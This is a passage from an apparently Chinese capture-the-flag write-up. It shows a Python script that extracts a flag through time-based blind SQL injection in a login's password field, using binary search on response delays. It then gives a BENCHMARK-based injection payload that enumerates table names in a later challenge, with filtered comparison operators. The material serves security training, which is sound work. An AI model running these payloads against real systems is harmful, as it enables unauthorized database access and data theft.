#print(payload)
time1 = datetime.datetime.now()
r = requests.post(
url,
data={
'username': '123',
'password': payload
},
)
time2 = datetime.datetime.now()
sec = (time2 - time1).seconds
time.sleep(0.5)
# print(index)
#print('timeout:',sec)
if sec >= 1:
min_value = mid+1 #ascii值比mid值大
else:
max_value = mid
mid = (min_value+max_value)//2 #找不到目标元素时停止mid = (min_value+max_value)>>1
if(chr(mid)==" "):
break
result += chr(mid)
print(i,':',chr(mid))
print(result)
print("fina flag:",result)
表名
flag
下一题的easysql
弄了一点点,比上一题多过滤了大于小于
payload
0'^(if((LEAST(ascii(mid((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{},1)),{})={}),(BENCHMARK(2000000,md5(1))),0))^'0
可以爆出gmbhhh-vtfs,但是之后列名弄不出来,也快到比赛结束时间了,好可惜,不知道啥问题……